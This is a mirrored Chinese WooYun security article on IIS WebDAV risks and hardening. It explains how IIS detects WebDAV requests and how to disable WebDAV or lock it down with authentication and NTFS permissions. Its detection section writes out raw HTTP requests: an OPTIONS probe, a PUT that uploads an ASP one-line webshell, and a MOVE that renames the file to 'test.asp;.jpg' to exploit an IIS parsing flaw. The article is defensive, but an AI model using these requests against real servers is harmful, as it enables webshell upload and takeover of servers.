IIS WebDAV安全配置

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2013/07/15 16:31

0x00 簡介


WebDAV是一種基於 HTTP 1.1協議的通訊協議.它擴充套件了HTTP 1.1,在GET、POST、HEAD等幾個HTTP標準方法以外新增了一些新的方法。

使應用程式可直接對Web Server直接讀寫,並支援寫檔案鎖定(Locking)及解鎖(Unlock),還可以支援檔案的版本控制。

IIS實現Webdav是採用的其兩種介面CGI、ISAPI的ISAPI介面。

但因為其沒有采用影射的方式,所以IIS的主程式w3svc.dll本身包含了Webdav的資訊。

其識別出是Webdav的請求後就呼叫Webdav的處理模組httpext.dll。

對於常見幾種請求方法GET、HEAD、POST等,因為常見一些對映都支援。

所以不能以請求方法作為Webdav請求的判斷,w3svc.dll就根據請求頭的欄位識別。

如果請求頭裡麵包含Translate:If:Lock-Token:中的一種,就認為是Webdav的請求。

Translate:就是那個Translate:f的洩露原始碼的一個請求頭,其實設定別的兩個也是一樣的。

可能很多IDS是沒有這點知識的。W3svc.dll還內建了幾個別的請求方法TRACKTRACE等。

TRACK就是用於除錯錯誤的,如果收到這樣的請求頭,w3svc.dll會原樣返回請求資料。

相當於我們常見的ping.exe。

IIS對TRACK請求沒有進行LOG記錄,這點我們可以用於來獲得banner。

對於IIS將優於大家習慣使用的HEAD

如果上面的請求方法沒匹配,那麼w3svc.dll就會認為是Webdav的請求,交給httpext.dll處理了。

這些請求包含Webdav支援的PROPFINDPROPPATCHMKCOLDELETEPUTCOPYMOVELOCKUNLOCK等。

0x01 配置


為了安全上的考慮,IIS預設並不會啟動WebDAV的功能,因此必須另外來啟用它。

透過啟動“IIS管理器”,展開本地計算機,選擇“Web服務擴充套件”,選擇“允許”的途徑來啟動WebDAV功能。

開啟WebDAV之後,IIS就支援PROPFINDPROPPATCHMKCOLDELETEPUTCOPYMOVELOCKUNLOCK等方法了。

enter image description here

當IIS中的配置允許寫入的時候就可以直接PUT檔案上去,由此可能引發非常嚴重的安全問題,強烈建議禁制

enter image description here

0x02 危害


當開啟了WebDAV後,IIS中又配置了目錄可寫,便會產生很嚴重的問題。 wooyun上由此配置產生的問題很多,並且有老外黑了一群中國政府站有一部分就是由於此配置。 危害巨大,操作簡單,直接批次掃描,上傳shell。

WooYun: 閃動科技webserver配置不當可取shell

WooYun: 瑞達資訊保安產業股份有限公司IIS寫入漏洞

WooYun: 海航webdav漏洞導致伺服器淪陷

WooYun: 阿里某郵件系統伺服器配置不當

WooYun: 國家某局某檔案系統存在嚴重安全問題

WooYun: 國內某大型風電工控系統應用配置失誤

0x03 查詢存在問題的伺服器


對伺服器傳送OPTION包:

OPTIONS / HTTP/1.1
Host: www.test.com

返回響應頭如下:

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private

當ALLOW中包含如上方法時,可以確定伺服器開啟了WebDAV。

此時可以用PUT上傳檔案,但是不可以直接上傳可執行指令碼檔案,可以先上傳一個其他型別的檔案,然後MOVE成指令碼檔案。

PUT /test.txt HTTP/1.1
Host: www.test.com
Content-Length: 23

<%eval request("a")%>

啟用了“WebDAV”擴充套件,並且複選了“寫入”,就可以寫入txt檔案了。要想使用MOVE命令將其更名為指令碼檔案字尾,必須還複選上“指令碼資源訪問”。

但是發現利用IIS的解析漏洞,可以MOVE成test.asp;.jpg,然後就可以當做shell來執行了

MOVE /test.txt HTTP/1.1
Host: www.test.com
Destination: http://www.test.com/test.asp;.jpg

有一個開源的DAV管理工具,使用工具直接檢視:

http://www.davexplorer.org/download.html

0x03 修復方案


1 禁用WebDAV。

通常情況下網站不需要支援額外的方法,右鍵WebDAV,點選禁用即可。

2 如果要使用WebDAV的話,加上許可權驗證。

如果選取“指令碼資源訪問”,則使用者將具備修改WebADV資料夾內的指令碼文說明件(scriptfile)的功能。

除了此處的虛擬目錄許可權外,還需要視NTFS許可權,才可以決定使用者是否有許可權來訪問WebDAV資料夾內的檔案。

WebDAV資料夾的NTFS許可權給予使用者適當的NTFS許可權。

首先請設定讓Everyone組只有“讀取”的許可權,然後再針對個別使用者給予“寫入”的許可權,例如我們給予使用者“User”寫入的許可權。

選擇驗證使用者身份的方法啟動“IIS管理器”,然後右擊WebDAV虛擬目錄,選擇“屬性”→“目錄安全性”,單擊“身份驗證和訪問控制”處的編輯按鈕。

不要選取“啟用匿名訪問”,以免招致攻擊。選擇安全的驗證方法,選擇“整合Windows身份驗證”。

enter image description here

參考:

http://hi.baidu.com/yuange1975/item/a836d31096b5b959f1090e89

http://www.daxigua.com/archives/1597

http://www.daxigua.com/archives/2750

http://www.daxigua.com/archives/2747

http:[email protected]/blog/static/4116699420123261427232/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章